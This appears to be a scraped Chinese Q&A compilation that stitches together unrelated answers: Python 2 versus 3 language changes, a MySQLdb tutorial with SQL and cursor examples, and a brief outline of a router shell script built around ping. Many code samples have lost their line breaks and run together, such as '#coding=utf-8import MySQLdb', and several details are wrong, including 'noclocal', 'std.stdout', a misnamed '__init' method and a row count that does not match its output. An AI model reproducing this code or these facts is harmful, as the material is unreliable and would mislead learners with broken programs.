print('3/2=',3/2)print('3//2=',3//2)print('3/2.0=',3/2.0)print('3//2.0=',3//2.0)
3/2=1.53//2=13/2.0=1.53//2.0=1.0
Note: 需要注意的是「雙劃線」（//）操作符將一直執行整除，而不管操作數的類型，這就是為什麼 5.0//2.0 值為 2.0。Python 3 中，/ 操作符是做浮點除法，而 // 是做整除（即商沒有餘數，比如 10 // 3 其結果就為 3，余數會被截除掉，而 (-7) // 3 的結果卻是 -3。這個演算法與其它很多編程語言不一樣，需要注意，它們的整除運算會向0的方向取值。而在 Python 2 中，/ 就是整除，即和 Python 3 中的 // 操作符一樣。
5）加入nonlocal語句。使用noclocal x可以直接指派外圍（非全局）變數
6）print
去除print語句，加入print()函數實現相同的功能。同樣的還有 exec語句，已經改為exec()函數
在Python 2里，print是一個語句。無論你想輸出什麼，只要將它們放在print關鍵字後邊就可以。
Python 3里，print()是一個函數。就像其他的函數一樣，print()需要你將想要輸出的東西作為參數傳給它。
例如：
2.X: print "The answer is", 2*2
3.X: print("The answer is", 2*2)
2.X: print x, # 使用逗號結尾禁止換行
3.X: print(x, end=" ") # 使用空格代替換行
在Python 2里，如果你使用一個逗號(,)作為print語句的結尾，它將會用空格分隔輸出的結果，然後在輸出一個尾隨的空格(trailing space)，而不輸出回車(carriage return)。在Python 3里，通過把end=' '作為一個關鍵字參數傳給print()可以實現同樣的效果。參數end的默認值為'
'，所以通過重新指定end參數的值，可以取消在末尾輸出回車符。
2.X: print # 輸出新行
3.X: print() # 輸出新行
2.X: print >>sys.stderr, "fatal error"
3.X: print("fatal error", file=sys.stderr)
在Python 2里，你可以通過使用>>pipe_name語法，把輸出重定向到一個管道，比如sys.stderr。在Python 3里，你可以通過將管道作為關鍵字參數file的值傳遞給print()來完成同樣的功能。參數file的默認值為std.stdout，所以重新指定它的值將會使print()輸出到一個另外一個管道。
2.X: print (x, y) # 輸出repr((x, y))
3.X: print((x, y)) # 不同於print(x, y)!
exec語句
exec()函數使用一個包含任意Python代碼的字元串作為參數，然後就像執行語句或者表達式一樣執行它。exec()跟eval()是相似的，但是exec()更加強大並更具有技巧性。eval()函數只能執行單獨一條表達式，但是exec()能夠執行多條語句，導入(import)，函數聲明—實際上整個Python程序的字元串表示也可以。
Notes
Python 2
Python 3
①
execcodeString exec(codeString)
②
execcodeStringina_global_namespace exec(codeString,a_global_namespace)
③
execcodeStringina_global_namespace,a_local_namespace exec(codeString,a_global_namespace,a_local_namespace)
在最簡單的形式下，因為exec()現在是一個函數，而不是語句，2to3會把這個字元串形式的代碼用括弧圍起來。
Python 2里的exec語句可以指定名字空間，代碼將在這個由全局對象組成的私有空間里執行。Python 3也有這樣的功能；你只需要把這個名字空間作為第二個參數傳遞給exec()函數。
更加神奇的是，Python 2里的exec語句還可以指定一個本地名字空間(比如一個函數里聲明的變數)。在Python 3里，exec()函數也有這樣的功能。
- execfile('a_filename') exec(compile(open('a_filename').read(),'a_filename','exec'))
- for line in a_file.xreadlines(): for line in a_file:
- for line in a_file.xreadlines(5): no change (broken)
如果你以前調用沒有參數的xreadlines()，2to3會把它轉換成文件對象本身。在Python 3里，這種轉換後的代碼可以完成前同樣的工作：一次讀取文件的一行，然後執行for循環的循環體。
如果你以前使用一個參數(每次讀取的行數)調用xreadlines()，2to3不能為你完成從Python 2到Python 3的轉換，你的代碼會以這樣的方式失敗：AttributeError: '_io.TextIOWrapper' object has no attribute 'xreadlines'。你可以手工的把xreadlines()改成readlines()以使代碼能在Python 3下工作。(readline()方法在Python 3里返回迭代器，所以它跟Python 2里的xreadlines()效率是不相上下的。)
- u'PapayaWhip' 'PapayaWhip'
- ur'PapayaWhipfoo' r'PapayaWhipfoo'
Python 2里的Unicode字元串在Python 3里即普通字元串，因為在Python 3里字元串總是Unicode形式的。
Unicode原始字元串(raw string)(使用這種字元串，Python不會自動轉義反斜線"")也被替換為普通的字元串，因為在Python 3里，所有原始字元串都是以Unicode編碼的。
- unicode(anything) str(anything)
- from sys import maxint from sys import maxsize
execfile語句
就像以前的exec語句，Python 2里的execfile語句也可以像執行Python代碼那樣使用字元串。不同的是exec使用字元串，而execfile則使用文件。在Python 3里，execfile語句已經被去掉了。如果你真的想要執行一個文件里的Python代碼(但是你不想導入它)，你可以通過打開這個文件，讀取它的內容，然後調用compile()全局函數強制Python解釋器編譯代碼，然後調用新的exec()函數。
Notes
Python 2
Python 3
7）輸入函數改變了，刪除了raw_input，用input代替： Python 2有兩個全局函數，用來在命令行請求用戶輸入。第一個叫做input()，它等待用戶輸入一個Python表達式(然後返回結果)。第二個叫做raw_input()，用戶輸入什麼它就返回什麼。這讓初學者非常困惑，並且這被廣泛地看作是Python語言的一個「肉贅」(wart)。Python 3通過重命名raw_input()為input()，從而切掉了這個肉贅，所以現在的input()就像每個人最初期待的那樣工作。
2.X:guess = int(raw_input('Enter an integer : ')) # 讀取鍵盤輸入的方法
3.X:guess = int(input('Enter an integer : '))
Note:如果你真的想要請求用戶輸入一個Python表達式，計算結果，可以通過調用input()函數然後把返回值傳遞給eval()。
I/O方法xreadlines()
在Python 2里，文件對象有一個xreadlines()方法，它返回一個迭代器，一次讀取文件的一行。這在for循環中尤其有用。事實上，後來的Python 2版本給文件對象本身添加了這樣的功能。
在Python 3里，xreadlines()方法不再可用了。2to3可以解決簡單的情況，但是一些邊緣案例則需要人工介入。
Notes
Python 2
Python 3
①
②
8）改變了順序操作符的行為，例如x<y，當x和y類型不匹配時拋出TypeError而不是返回隨即的 bool值
9）去除元組參數解包。不能def(a, (b, c)):pass這樣定義函數了
10）新式的8進制字變數，相應地修改了oct()函數。
2.X的方式如下：
>>> 0666
438
>>> oct(438)
'0666'
3.X這樣：
>>> 0666
SyntaxError: invalid token (<pyshell#63>, line 1)
>>> 0o666
438
>>> oct(438)
'0o666'
11）增加了 2進制字面量和bin()函數
>>> bin(438)
'0b110110110'
>>> _438 = '0b110110110'
>>> _438
'0b110110110'
12）擴展的可迭代解包。在Py3.X 里，a, b, *rest = seq和 *rest, a = seq都是合法的，只要求兩點：rest是list對象和seq是可迭代的。
13）新的super()，可以不再給super()傳參數，
>>> class C(object):
def __init__(self, a):
print('C', a)
>>> class D(C):
def __init(self, a):
super().__init__(a) # 無參數調用super()
>>> D(8)
C 8
<__main__.D object at 0x00D7ED90>
14）支持class decorator。用法與函數decorator一樣：
>>> def foo(cls_a):
def print_func(self):
print('Hello, world!')
cls_a.print = print_func
return cls_a
>>> @foo
class C(object):
pass
>>> C().print()
Hello, world!
class decorator可以用來玩玩狸貓換太子的大把戲。更多請參閱PEP 3129
4. 字元串和位元組串
Python 2有兩種字元串類型：Unicode字元串和非Unicode字元串。Python 2有基於ASCII的str()類型，其可通過單獨的unicode()函數轉成unicode類型，但沒有byte類型。
而在Python 3中，終於有了Unicode（utf-8）字元串，以及兩個位元組類：bytes和bytearrays。Python 3隻有一種類型：Unicode字元串(Unicode strings)。只有str一種類型，但它跟2.x版本的unicode幾乎一樣。
Notes
Python 2
Python 3
①
②
全局函數unicode()
Python 2有兩個全局函數可以把對象強制轉換成字元串：unicode()把對象轉換成Unicode字元串，還有str()把對象轉換為非Unicode字元串。
Python 3隻有一種字元串類型，Unicode字元串，所以str()函數即可完成所有的功能。(unicode()函數在Python 3里不再存在了。)
Notes
Python 2
Python 3
5.數據類型
1）Python 2有為非浮點數准備的int和long類型。int類型的最大值不能超過sys.maxint，而且這個最大值是平台相關的。可以通過在數字的末尾附上一個L來定義長整型，顯然，它比int類型表示的數字范圍更大。
在Python 3里，只有一種整數類型int，大多數情況下，它很像Python 2里的長整型。
Note:檢查一個變數是否是整型，獲得它的數據類型，並與一個int類型(不是long)的作比較。你也可以使用isinstance()函數來檢查數據類型；再強調一次，使用int，而不是long，來檢查整數類型。
sys.maxint
由於長整型和整型被整合在一起了，sys.maxint常量不再精確。但是因為這個值對於檢測特定平台的能力還是有用處的，所以它被Python 3保留，並且重命名為sys.maxsize。
Notes
Python 2
Python 3
①
②
❾ python mysqldb 同時多少個鏈接
看資料庫的配置和性能
做python的時候需要用到資料庫，於是自己重新整理了一下資料庫的知識，並且熟悉了python中MysqlDB模塊的功能和函數等介面，現在系統地來總結一下吧：
首先你要做的還是下載相應的模塊並且安裝啦，下載地址自己搜，網上有很多，安裝的話也很好辦，安裝之後python的安裝目錄下的Lib文件夾下的site-packages文件夾下的MySQLdb文件夾，這之中存放的便是該模塊的定義。准備工作做好之後我們需要在源碼中import MySQLdb
資料庫的連接：
模塊引入之後我們就需要和資料庫進行連接了，實例代碼如下：
db = MySQLdb.connect("localhost","root","123456","myciti" )
這三個關鍵參數的含義一目瞭然：第一個為伺服器的地址，第二個為用戶名，第三個為dbms密碼，第四個為要訪問的資料庫，其實該connect函數的參數不止這些，不過由於其有默認值而且大多數情況下不用修改，因而省略了。這里做如下列表：
host，連接的資料庫伺服器主機名，默認為本地主機(localhost)。
user，連接資料庫的用戶名，默認為當前用戶。
passwd，連接密碼，沒有默認值。
db，連接的資料庫名，沒有默認值。
conv，將文字映射到Python類型的字典。默認為MySQLdb.converters.conversions
cursorclass，cursor()使用的種類，默認值為MySQLdb.cursors.Cursor。
compress，啟用協議壓縮功能。
named_pipe，在windows中，與一個命名管道相連接。
init_command，一旦連接建立，就為資料庫伺服器指定一條語句來運行。
read_default_file，使用指定的MySQL配置文件。
read_default_group，讀取的默認組。
unix_socket，在unix中，連接使用的套接字，默認使用TCP。
port，指定資料庫伺服器的連接埠，默認是3306
大家可能會注意到源碼中沒有用到埠號，這是因為MySQLdb的connect函數的該參數的默認值便是3306，如果你在安裝mysql的時候修改了資料庫的埠號，那麼你就需要在源碼中加上該參數的修改值了。
一，安裝mysql
如果是windows 用戶，mysql 的安裝非常簡單，直接下載安裝文件，雙擊安裝文件一步一步進行操作即可。
Linux 下的安裝可能會更加簡單，除了下載安裝包進行安裝外，一般的linux 倉庫中都會有mysql ，我們只需要通過一個命令就可以下載安裝：
Ubuntu\deepin
>>sudo apt-get install mysql-server
>>Sudo apt-get install mysql-client
centOS/redhat
>>yum install mysql
二，安裝MySQL-python
要想使python可以操作mysql 就需要MySQL-python驅動，它是python 操作mysql必不可少的模塊。
下載MySQL-python-1.2.5.zip 文件之後直接解壓。進入MySQL-python-1.2.5目錄:
>>python setup.py install
三，測試
測試非常簡單，檢查MySQLdb 模塊是否可以正常導入。
fnngj@fnngj-H24X:~/pyse$ python
Python 2.7.4 (default, Sep 26 2013, 03:20:56)
[GCC 4.7.3] on linux2
Type "help", "right", "credits" or "license" for more information.
>>> import MySQLdb
沒有報錯提示MySQLdb模塊找不到，說明安裝OK ，下面開始使用python 操作資料庫之前，我們有必要來回顧一下mysql的基本操作：
四，mysql 的基本操作
$ mysql -u root -p （有密碼時）
$ mysql -u root （無密碼時）
mysql> show databases; // 查看當前所有的資料庫
+--------------------+
| Database |
+--------------------+
| information_schema |
| csvt |
| csvt04 |
| mysql |
| performance_schema |
| test |
+--------------------+
6 rows in set (0.18 sec)
mysql> use test; //作用與test資料庫
Database changed
mysql> show tables; //查看test庫下面的表
Empty set (0.00 sec)
//創建user表，name 和password 兩個欄位
mysql> CREATE TABLE user (name VARCHAR(20),password VARCHAR(20)); Query OK, 0 rows affected (0.27 sec)
//向user表內插入若干條數據
mysql> insert into user values('Tom','1321');Query OK, 1 row affected (0.05 sec)
mysql> insert into user values('Alen','7875');Query OK, 1 row affected (0.08 sec)
mysql> insert into user values('Jack','7455');Query OK, 1 row affected (0.04 sec)
//查看user表的數據
mysql> select * from user;+------+----------+
| name | password |
+------+----------+
| Tom | 1321 |
| Alen | 7875 |
| Jack | 7455 |
+------+----------+
3 rows in set (0.01 sec)
//刪除name 等於Jack的數據
mysql> delete from user where name = 'Jack';Query OK, 1 rows affected (0.06 sec)
//修改name等於Alen 的password 為 1111
mysql> update user set password='1111' where name = 'Alen';Query OK, 1 row affected (0.05 sec)
Rows matched: 1 Changed: 1 Warnings: 0
//查看錶內容
mysql> select * from user;+--------+----------+
| name | password |
+--------+----------+
| Tom | 1321 |
| Alen | 1111 |
+--------+----------+
3 rows in set (0.00 sec)
五，python 操作mysql資料庫基礎
#coding=utf-8import MySQLdb
conn= MySQLdb.connect(
host='localhost',
port = 3306,
user='root',
passwd='123456',
db ='test',
)
cur = conn.cursor()#創建數據表#cur.execute("create table student(id int ,name varchar(20),class varchar(30),age varchar(10))")#插入一條數據#cur.execute("insert into student values('2','Tom','3 year 2 class','9')")#修改查詢條件的數據#cur.execute("update student set class='3 year 1 class' where name = 'Tom'")#刪除查詢條件的數據#cur.execute("delete from student where age='9'")cur.close()
conn.commit()
conn.close()
>>> conn = MySQLdb.connect(host='localhost',port = 3306,user='root', passwd='123456',db ='test',)
Connect() 方法用於創建資料庫的連接，裡面可以指定參數：用戶名，密碼，主機等信息。
這只是連接到了資料庫，要想操作資料庫需要創建游標。
>>> cur = conn.cursor()
通過獲取到的資料庫連接conn下的cursor()方法來創建游標。
>>> cur.execute("create table student(id int ,name varchar(20),class varchar(30),age varchar(10))")
通過游標cur 操作execute()方法可以寫入純sql語句。通過execute()方法中寫如sql語句來對數據進行操作。
>>>cur.close()
cur.close() 關閉游標
>>>conn.commit()
conn.commit()方法在提交事物，在向資料庫插入一條數據時必須要有這個方法，否則數據不會被真正的插入。
>>>conn.close()
Conn.close()關閉資料庫連接
六，插入數據
通過上面execute()方法中寫入純的sql語句來插入數據並不方便。如：
>>>cur.execute("insert into student values('2','Tom','3 year 2 class','9')")
我要想插入新的數據，必須要對這條語句中的值做修改。我們可以做如下修改：
#coding=utf-8import MySQLdb
conn= MySQLdb.connect(
host='localhost',
port = 3306,
user='root',
passwd='123456',
db ='test',
)
cur = conn.cursor()#插入一條數據sqli="insert into student values(%s,%s,%s,%s)"cur.execute(sqli,('3','Huhu','2 year 1 class','7'))
cur.close()
conn.commit()
conn.close()
假如要一次向數據表中插入多條值呢？
#coding=utf-8import MySQLdb
conn= MySQLdb.connect(
host='localhost',
port = 3306,
user='root',
passwd='123456',
db ='test',
)
cur = conn.cursor()#一次插入多條記錄sqli="insert into student values(%s,%s,%s,%s)"cur.executemany(sqli,[
('3','Tom','1 year 1 class','6'),
('3','Jack','2 year 1 class','7'),
('3','Yaheng','2 year 2 class','7'),
])
cur.close()
conn.commit()
conn.close()
executemany()方法可以一次插入多條值，執行單挑sql語句,但是重復執行參數列表裡的參數,返回值為受影響的行數。
七，查詢數據
也許你已經嘗試了在python中通過
>>>cur.execute("select * from student")
來查詢數據表中的數據，但它並沒有把表中的數據列印出來，有些失望。
來看看這條語句獲得的是什麼
>>>aa=cur.execute("select * from student")
>>>print aa
5
它獲得的只是我們的表中有多少條數據。那怎樣才能獲得表中的數據呢？進入python shell
>>> import MySQLdb>>> conn = MySQLdb.connect(host='localhost',port = 3306,user='root', passwd='123456',db ='test',)>>> cur = conn.cursor()>>> cur.execute("select * from student")5L
>>> cur.fetchone()
(1L, 'Alen', '1 year 2 class', '6')>>> cur.fetchone()
(3L, 'Huhu', '2 year 1 class', '7')>>> cur.fetchone()
(3L, 'Tom', '1 year 1 class', '6')
...>>>cur.scroll(0,'absolute')
fetchone()方法可以幫助我們獲得表中的數據，可是每次執行cur.fetchone() 獲得的數據都不一樣，換句話說我沒執行一次，游標會從表中的第一條數據移動到下一條數據的位置，所以，我再次執行的時候得到的是第二條數據。
scroll(0,'absolute') 方法可以將游標定位到表中的第一條數據。
還是沒解決我們想要的結果，如何獲得表中的多條數據並列印出來呢？
#coding=utf-8import MySQLdb
conn= MySQLdb.connect(
host='localhost',
port = 3306,
user='root',
passwd='123456',
db ='test',
)
cur = conn.cursor()#獲得表中有多少條數據aa=cur.execute("select * from student")print aa#列印表中的多少數據info = cur.fetchmany(aa)for ii in info: print ii
cur.close()
conn.commit()
conn.close()
通過之前的print aa 我們知道當前的表中有5條數據，fetchmany()方法可以獲得多條數據，但需要指定數據的條數，通過一個for循環就可以把多條數據列印出啦！執行結果如下：
5(1L, 'Alen', '1 year 2 class', '6')
(3L, 'Huhu', '2 year 1 class', '7')
(3L, 'Tom', '1 year 1 class', '6')
(3L, 'Jack', '2 year 1 class', '7')
(3L, 'Yaheng', '2 year 2 class', '7')
[Finished in 0.1s]
❿ 想用shell寫一個路由器的腳本，跪求~~在線等~~~~著急~~~我是菜鳥小白~求大神寫個完整的~~~
這個寫起來不是很難，這里給你說說我的思路。
這個腳本需要實現下面幾個功能
1 實時的獲取ping命令的輸出
2 對ping命令輸出的內容進行解析
先來說說第一個。
因為ping命令式一直輸出的，所以直接通過grep來搜索是不行的。這里你可以這樣子做，先新建一個命令管道（使用的命令：mkfifo），然後新建一個文件描述符（使用的命令：exec），把ping命令的輸出，全部重定向到命名管道中。這樣子你就可以像讀文件一樣（使用的命令：read），讀出每一行的數據了。
第一個解決了，第二個自然變得容易了，拿到數據，然後解析判斷即可！
關於開啟wifi功能，這個我不是很清楚！